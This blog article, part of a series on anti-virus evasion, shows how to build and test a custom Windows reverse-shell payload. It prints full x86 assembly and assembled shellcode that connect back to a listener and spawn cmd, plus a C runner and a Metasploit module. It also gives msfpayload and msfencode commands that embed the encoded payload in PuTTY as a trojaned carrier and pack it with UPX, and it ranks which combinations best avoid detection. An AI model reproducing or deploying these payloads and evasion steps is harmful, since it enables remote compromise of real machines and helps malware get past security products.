We would love to stay in touch with you!

Enter your details to join our mailing list and we'll send you a link to exclusive content.

* indicates required
Close

Anti-virus evasion – 2. Using custom shellcode

by Jago Maniscalchi  //  February 11, 2012  //  Programming  //  No comments

In the previous article in this series – Choosing a Payload – we examined the impact that different Metasploit payloads can have on the attack detection rate of popular anti-virus products. We determined that:

  • encoded payloads are marginally less likely to be detected than unencoded payloads
  • when staged payloads are used (a small payload that then downloads the remainder in a second stage), the detection rate of encoded payloads is considerably lower
  • packing of payloads using UPX reduces detection rates to less than 50%.

The most successful exploit that we created used Metasploit’s windows/shell/reverse_http staged payload, and was encoded using Shikata Ga Nai. It was embedded into PuTTY (our carrier program) and then packed with UPX.

In this second article we examine whether the use of custom shellcode in a payload makes detection by anti-virus less likely.

Shellcode

Firstly, we need some shellcode to test. Creation of custom shellcode is beyond the scope of this article, so, for the sake of simplicity, we have borrowed a reverse shell payload from an excellent article over at Project Shellcode. It is written in x86 assembler and creates a reverse shell to a given IP address (in this case 192.168.1.68) on a given port (in this case 4444).

[SECTION .text]

BITS 32

global _start

_start:

    jmp start_asm

;DEFINE FUNCTIONS

;FUNCTION: find_kernel32

find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

;END FUNCTION: find_kernel32

;FUNCTION: find_function

find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp

compute_hash:
    xor edi, edi
    xor eax, eax
    cld
compute_hash_again:
    lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
compute_hash_finished:
find_function_compare:
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret

;END FUNCTION: find_function

;FUNCTION: resolve_symbols_for_dll

resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret

;END FUNCTION: resolve_symbols_for_dll

;DEFINE CONSTANTS

locate_kernel32_hashes:
    call locate_kernel32_hashes_return

    ;LoadLibraryA
    db 0x8e
    db 0x4e
    db 0x0e
    db 0xec

    ;CreateProcessA
    db 0x72
    db 0xfe
    db 0xb3
    db 0x16

    ;ExitProcess
    db 0x7e
    db 0xd8
    db 0xe2
    db 0x73

;locate_ws2_32_hashes:

    ;WSASocketA
    db 0xd9
    db 0x09
    db 0xf5
    db 0xad

    ;connect
    db 0xec
    db 0xf9
    db 0xaa
    db 0x60

    ;WSAStartup
    db 0xcb
    db 0xed
    db 0xfc
    db 0x3b

;END DEFINE CONSTANTS

start_asm:	 ; start our main program
    sub esp, 0x68	; allocate space on stack for function addresses
    mov ebp, esp	; set ebp as frame ptr for relative offset on stack

    call find_kernel32 ;find address of Kernel32.dll
    mov edx, eax

    ;resolve kernel32 symbols
    jmp short locate_kernel32_hashes	;locate address of our hashes
locate_kernel32_hashes_return:	;define return label to return to this code
    pop esi	 ;get constants address from stack
    lea edi, [ebp + 0x04]	;this is where we store our function addresses
    mov ecx, esi
    add ecx, 0x0C	 ;length of kernel32 hash list
    call resolve_symbols_for_dll

    ;resolve ws2_32 symbols
add ecx, 0x0C	 ;length of ws2_32 hash list

    ;create the string ws2_32 on the stack
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp	 ;ebx now points to "ws2_32"

push ecx
push edx
push ebx
call [ebp + 0x04]	;call LoadLibraryA(ws2_32)

pop edx	 ;edx now holds location of ws2_32.dll
pop ecx
mov edx, eax
call resolve_symbols_for_dll

initialize_cmd:	 ;push the string "cmd" onto the stack
    mov eax, 0x646d6301
    sar eax, 0x08
    push eax
    mov [ebp + 0x30], esp

WSAStartup:	 ;initialise networking

    xor edx,edx	 ;make some stack space
    mov dh, 0x03	 ;sizeof(WSADATA) is 0x190
    sub esp, edx

    	 ;initialize winsock
    push esp	 ;use stack for WSADATA
    push 0x02	 ;wVersionRequested
    call [ebp + 18h]	;call WSAStartup

    add esp, 0x0300	 ;move esp over WSAData

;SECTION: start custom shellcode

create_socket:	 ;same as portbind
    xor eax, eax	 ;zero eax
    push eax	 ;Push the dwFlags argument to WSASocket as 0.
    push eax	 ;Push the g argument to WSASocket as 0.
    push eax	 ;Push the lpProtocolInfo argument to WSASocket as NULL.
    push eax	 ;Push the protocol argument to WSASocket as 0.
    inc eax	 ;Increment eax to 1.
    push eax	 ;Push the type argument to WSASocket as SOCK STREAM.
    inc eax	 ;Increment eax to 2.
    push eax	 ;Push the af argument to WSASocket as AF INET.
    call [ebp + 0x10]	;Call WSASocket to allocate a socket for later use.
    mov esi, eax	 ;Save the socket file descriptor in esi.

do_connect:
    push 0x4401a8c0     ;  192.168.1.68
    mov eax, 0x5c110102	;Set the high order bytes of eax to the port to connect to in networkbyte order (4444). The low order bytes should be set to the family, in this case AF INET3.
    dec ah	 ;Decrement the second byte of eax to get it to zero and have the family be correctly set to AF INET.
    push eax	 ;Push the sin port and sin family attributes.
    mov ebx, esp	 ;Set ebx to the pointer to the struct sockaddr in that has been initialized on the stack.
    xor eax, eax	 ;Zero eax.
    mov al, 0x10	 ;Set the low order byte of eax to 16 to represent the size of the struct sockaddr in.
    push eax	 ;Push the namelen argument which has been set to 16.
    push ebx	 ;Push the name argument which has been set to the initialized struct sockaddr in on the stack.
    push esi	 ;Push the s argument as the file descriptor that was previously returned from WSASocket.
    call [ebp + 0x14]	;Call connect to establish a TCP connection to the remote machine on the specified port.

initialize_process:
    xor ecx, ecx	 ;Zero ecx.
    mov cl, 0x54	 ;Set the low order byte of ecx to 0x54 which will be used to represent the size of the STARTUPINFO and PROCESS INFORMATION structures on the stack.
    sub esp, ecx	 ;Allocate stack space for the two structures.
    mov edi, esp	 ;Set edi to point to the STARTUPINFO structure.
    push edi	 ;Preserve edi on the stack as it will be modified by the following instructions.
zero_structs:
    xor eax, eax	 ;Zero eax to for use with stosb to zero out the two structures.
    rep stosb	 ;Repeat storing zero at the buffer starting at edi until ecx is zero.
    pop edi	 ;Restore edi to its original value.
initialize_structs:
    mov byte[edi], 0x44	;Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
    inc byte[edi + 0x2d]	;Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes should be used.
    push edi	 ;Preserve edi again as it will be modified by the stosd.
    mov eax, esi	 ;Set eax to the client file descriptor that was returned by accept
    lea edi, [edi + 0x38]	;Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
    stosd	 ;Set the hStdInput attribute to the file descriptor returned from accept.
    stosd	 ;Set the hStdOutput attribute to the file descriptor returned from accept.
    stosd	 ;Set the hStdError attribute to the file descriptor returned from accept.
    pop edi	 ;Restore edi to its original value.
execute_process:
    xor eax, eax	 ;Zero eax for use with passing zerod arguments.
    lea esi, [edi + 0x44]	;Load the effective address of the PROCESS INFORMATION structure into esi.
    push esi	 ;Push the pointer to the lpProcessInformation structure.
    push edi	 ;Push the pointer to the lpStartupInfo structure.
    push eax	 ;Push the lpStartupDirectory argument as NULL.
    push eax	 ;Push the lpEnvironment argument as NULL
    push eax	 ;Push the dwCreationFlags argument as 0.
    inc eax	 ;Increment eax to 1.
    push eax	 ;Push the bInheritHandles argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.
    dec eax	 ;Decrement eax back to zero.
    push eax	 ;Push the lpThreadAttributes argument as NULL.
    push eax	 ;Push the lpProcessAttributes argument as NULL.
    push dword [ebp + 0x30]	;Push the lpCommandLine argument as the pointer to cmd. Only change in this section to portbind.
    push eax	 ;Push the lpApplicationName argument as NULL.
    call [ebp + 0x08]	;Call CreateProcessA to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.

exit_process:
    call [ebp + 0x0c]	;Call ExitProcess as the parent no longer needs to execute

Compiling the shellcode

We compiled the shellcode using the shellcode compiler script from Project Shellcode, which uses nasm to assemble the code, xxd to convert the binary output to a hex string, and then formats the string as a C array.

$ ./shellcode-compiler.sh connectback.asm

Testing the shellcode

The first step in using the shellcode is to check that it executes correctly in a Windows environment and creates the reverse shell that we expect. The simple C program below executes the shellcode in the array and tests the payload’s functionality.

char code[] = "\xe9\xae\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x37\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xf1\xff\xff\xff\x3b\x7c\x24\x28\x75\xde\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xa7\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00\x00\x39\xce\x75\xe6\xc3\xe8\x29\x00\x00\x00\x8e\x4e\x0e\xec\x72\xfe\xb3\x16\x7e\xd8\xe2\x73\xd9\x09\xf5\xad\xec\xf9\xaa\x60\xcb\xed\xfc\x3b\x81\xec\x68\x00\x00\x00\x89\xe5\xe8\x45\xff\xff\xff\x89\xc2\xeb\xd2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x0c\x00\x00\x00\xe8\xa6\xff\xff\xff\x81\xc1\x0c\x00\x00\x00\x31\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x89\xe3\x51\x52\x53\xff\x55\x04\x5a\x59\x89\xc2\xe8\x83\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x31\xd2\xb6\x03\x29\xd4\x54\x68\x02\x00\x00\x00\xff\x55\x18\x81\xc4\x00\x03\x00\x00\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x10\x89\xc6\x68\xc0\xa8\x01\x44\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x89\xe3\x31\xc0\xb0\x10\x50\x53\x56\xff\x55\x14\x31\xc9\xb1\x54\x29\xcc\x89\xe7\x57\x31\xc0\xf3\xaa\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x89\xf0\x8d\x7f\x38\xab\xab\xab\x5f\x31\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x30\x50\xff\x55\x08\xff\x55\x0c";

int main(int argc, char **argv)
{
  int (*funct)();
  funct = (int (*)()) code;
  (int)(*funct)();
}

The program was compiled in the Windows victim environment using GCC. To test the payload functionality, we created a port 4444 listener on our base computer and ran the manually compiled test program on our victim windows machine.

C:\> gcc.exe c:\connectback.shellcode.c -o c:\manual_digithreat_rt.exe

Creating a Metasploit Payload

Metasploit is modular, and additional modules can be added very easily by dropping a new Ruby file into the correct directory. In this case we created a module named shell_digithreat_reverse_tcp.rb and dropped it into /opt/framework3/msf3/modules/payloads/single/windows/. We based our new module on the existing shell_reverse_tcp.rb module supplied with Metasploit.

When creating a new module you have to calculate the correct offsets for at least the parameters LHOST and LPORT in your shellcode. Metasploit will allow users to supply these attributes when using your module and it will automatically overwrite your shellcode at the appropriate offsets.

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

	include Msf::Payload::Windows
	include Msf::Payload::Single
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Windows Command Shell, Reverse TCP Inline',
			'Version'       => '$Revision: 8642 $',
			'Description'   => 'Connect back to attacker and spawn a command shell',
			'Author'        => [ 'vlad902', 'sf' ],
			'License'       => MSF_LICENSE,
			'Platform'      => 'win',
			'Arch'          => ARCH_X86,
			'Handler'       => Msf::Handler::ReverseTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'Payload'       =>
				{
					'Offsets' =>
						{
							'LPORT'    => [ 304, 'n'    ],
							'LHOST'    => [ 297, 'ADDR' ],
						},
					'Payload' =>
							"\xe9\xae\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f"+
							"\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b"+
							"\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b"+
							"\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb"+
							"\xe3\x37\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0"+
							"\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xf1\xff\xff\xff\x3b\x7c\x24\x28"+
							"\x75\xde\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"+
							"\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xa7"+
							"\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00"+
							"\x00\x39\xce\x75\xe6\xc3\xe8\x29\x00\x00\x00\x8e\x4e\x0e\xec\x72"+
							"\xfe\xb3\x16\x7e\xd8\xe2\x73\xd9\x09\xf5\xad\xec\xf9\xaa\x60\xcb"+
							"\xed\xfc\x3b\x81\xec\x68\x00\x00\x00\x89\xe5\xe8\x45\xff\xff\xff"+
							"\x89\xc2\xeb\xd2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x0c\x00\x00\x00"+
							"\xe8\xa6\xff\xff\xff\x81\xc1\x0c\x00\x00\x00\x31\xc0\x66\xb8\x33"+
							"\x32\x50\x68\x77\x73\x32\x5f\x89\xe3\x51\x52\x53\xff\x55\x04\x5a"+
							"\x59\x89\xc2\xe8\x83\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08"+
							"\x50\x89\x65\x30\x31\xd2\xb6\x03\x29\xd4\x54\x68\x02\x00\x00\x00"+
							"\xff\x55\x18\x81\xc4\x00\x03\x00\x00\x31\xc0\x50\x50\x50\x50\x40"+
							"\x50\x40\x50\xff\x55\x10\x89\xc6\x68\xc0\xa8\x01\x44\xb8\x02\x01"+
							"\x11\x5c\xfe\xcc\x50\x89\xe3\x31\xc0\xb0\x10\x50\x53\x56\xff\x55"+
							"\x14\x31\xc9\xb1\x54\x29\xcc\x89\xe7\x57\x31\xc0\xf3\xaa\x5f\xc6"+
							"\x07\x44\xfe\x47\x2d\x57\x89\xf0\x8d\x7f\x38\xab\xab\xab\x5f\x31"+
							"\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75"+
							"\x30\x50\xff\x55\x08\xff\x55\x0c"
				}
			))
	end

end

Once the module was in place and the offsets had been calculated, we used msfpayload to generate raw binary shellcode using our new payload module. Firstly, we asked Metasploit to generate the shellcode with no changes (i.e. with the same values for IP address and port that we had compiled into it earlier). Secondly we changed the IP address and port.

$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=192.168.1.68 LPORT=4444 R | xxd
$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=127.0.0.1 LPORT=5555 R | xxd

A careful examination of the output illustrates the IP address and port being correctly overwritten.

Given that the raw shellcode being generated by our payload is exactly equal to the shellcode that we compiled and tested earlier, the module should work in a similar fashion to the others included in Metasploit. There is one important caveat here, relating to null bytes, which must not be included in any shellcode which needs to go through any string manipulation function. Strings are terminated by null bytes and the shellcode will be truncated at the first instance of \x00. If this payload were to be utilised in a buffer overflow exploit, for example, the assembler would need to be re-worked to remove any null bytes from the assembled object code.

Using our new Metasploit Payload

With a valid custom payload module included in our Metasploit environment, we can ask msfpayload to generate a raw executable payload and can use msfencode to encode the payload using Shikata Ga Nai and embed it into our carrier application. As in Part 1, we used PuTTY as the carrier. We also packed the resultant implanted version of PuTTY with UPX.

$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=192.168.1.68 LPORT=4444 X > raw_digithreat_rt.exe
$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=192.168.1.68 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x ./putty.exe -o ./putty-digithreat-rt.exe

Results

So, how did we fare? When using raw payloads generated by msfpayload or encoded payloads embedded in PuTTY, our custom shellcode was detected by roughly the same percentage of anti-virus products as the standard Metasploit payloads.

We were disappointed. Either the anti-virus products were using heuristics to catch our payload, or they had a signature for the Project Shellcode payload we used, or they were picking up on something else. Something related to the way Metasploit generates executable payloads.

To test the latter, we ran manually compiled version of our payload – with no carrier application – against all the anti-virus products. This manually compiled version was really only intended to test the payload functionality, but importantly it had been nowhere near Metasploit. The result? Without any form of encoding or packing, it was detected by only 15% of the anti-virus products in our lab.

Conclusions

From our experimentation in this series of articles, we must conclude that the chance of payload detection by anti-virus is affected by a number of factors:

  • Payload type – single vs staged
  • Payload signature – known metasploit module vs custom shellcode
  • Packing – none vs UPX
  • Tools used – msfpayload vs custom executable

The most successful payload was staged, used custom shellcode, was packed, and was built into an executable manually.

About the Author

Jago Maniscalchi is a Cyber security consultant, though he tries to avoid the word "Cyber" at all costs. He has spent 15 years working with Information Systems and has experience in website hosting, software engineering, infrastructure management, data analysis and security assessment. Jago lives in London with his family, enough pets to start a small zooalogical society, and a Samsung NaviBot Robotic Vacuum Cleaner. Despite an aptitude for learning computer languages, his repeated attempts to learn Italian have resulted in spectacular failure.

Leave a Comment

comm comm comm